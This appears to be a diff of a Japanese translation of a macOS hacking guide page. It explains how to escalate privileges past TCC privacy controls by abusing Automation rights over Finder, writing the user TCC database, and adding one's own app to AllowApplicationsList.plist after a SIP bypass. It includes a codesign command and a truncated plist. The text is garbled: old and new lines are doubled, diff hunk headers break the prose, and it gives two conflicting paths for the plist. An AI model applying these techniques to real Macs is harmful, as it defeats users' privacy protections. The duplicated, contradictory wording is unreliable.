**Finder**は、常にFDAを持っているアプリケーションですUIに表示されない場合でも。そのため、**Automation**の特権を持っている場合、その特権を悪用していくつかのアクションを実行することができます。
**Finder**は、UIに表示されなくても常にFDAを持っているアプリケーションですので、それに対して**Automation**の特権を持っている場合、その特権を悪用して**いくつかのアクションを実行**することができます。
{% tabs %}
{% tab title="ユーザーのTCC.dbを盗む" %}
@ -321,7 +327,7 @@ EOD
これを悪用すると、**独自のユーザーTCCデータベースを作成**することができます。
これは、Finderに対して**Automation権限を取得**するためのTCCプロンプトです
これは、Finderに対して**Automation権限**を取得するためのTCCプロンプトです
<figure><img src="../../../../.gitbook/assets/image.png" alt="" width="244"><figcaption></figcaption></figure>
@ -329,18 +335,18 @@ EOD
ユーザーTCCデータベースに**書き込み権限**を取得すると、自分自身に**`FDA`**権限を付与することはできません。FDA権限はシステムデータベースに存在するものだけが付与できます。
しかし、自分自身に**`FinderへのAutomation権限`**を与えることができ、前述の手法を悪用してFDAに特権昇格することができます。
しかし、自分自身に**`FinderへのAutomation権限`**を与えることができ、前述の技術を悪用してFDAに特権昇格することができます。
### **FDAからTCC権限への特権昇格**
これは本当の特権昇格ではないと思いますが、念のため役立つかもしれません。FDAを制御できるプログラムがある場合、ユーザーのTCCデータベースを**変更して任意のアクセス権限を与える**ことができます。これは、FDA権限を失った場合の持続性手法として役立つ場合があります。
これは本当の特権昇格ではないと思いますが、念のため役立つかもしれません。FDAを制御できるプログラムがある場合、ユーザーのTCCデータベースを**変更して任意のアクセス権限を与える**ことができます。これは、FDA権限を失った場合の持続性技術として役立つ場合があります。
### **SIPバイパスからTCCバイパスへ**
システムの**TCCデータベース**は**SIP**によって保護されているため、**指定された権限を持つプロセスのみが変更**できます。したがって、攻撃者がSIPに制限された**ファイル**を**変更**できる**SIPバイパス**を見つけると、TCCデータベースの保護を**解除**し、自身にすべてのTCC権限を与えることができます。
システムの**TCCデータベース**は**SIP**によって保護されているため、**指定された権限を持つプロセスのみが変更**できます。したがって、攻撃者がSIPに制限された**ファイル**を変更できる**SIPバイパス**を見つけると、TCCデータベースの保護を**解除**し、自身にすべてのTCC権限を与えることができます。
ただし、この**SIPバイパスをTCCバイパスに悪用**する別の方法があります。`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`というファイルは、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を**解除**し、**独自のアプリケーション**を追加することができれば、そのアプリケーションはTCCをバイパスできます。\
例えば、ターミナルを追加する場合は以下のようにします
例えば、ターミナルを追加する場合は:
```bash
# Get needed info
codesign -d -r- /System/Applications/Utilities/Terminal.app
@ -351,11 +357,9 @@ AllowApplicationsList.plist:
このプロパティリストファイルには、許可されたアプリケーションのリストが含まれており、ユーザーが明示的に許可したアプリケーションのみがプライバシーにアクセスできるようになります。
このファイルを編集することで、特定のアプリケーションに対してTCCフレームワークの制限を追加または削除することができます。ただし、注意が必要であり、誤った編集はシステムのセキュリティに悪影響を及ぼす可能性があります。
このファイルを編集することで、特定のアプリケーションに対してTCCフレームワークの制限を追加または削除することができます。ただし、注意が必要であり、不正なアクセスを許可する可能性があるため、慎重に行う必要があります。
このファイルは、セキュリティの向上とプライバシーの保護を目的として、適切な権限で保護されるべきです。不正なアクセスや変更から保護するために、適切なファイルパーミッションとアクセス制御を設定することが重要です。
このファイルの場所は次のとおりです:`/Library/Application Support/com.apple.TCC/AllowApplicationsList.plist`
このファイルは、セキュリティと特権エスカレーションの観点から重要であり、適切な設定と管理が必要です。
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">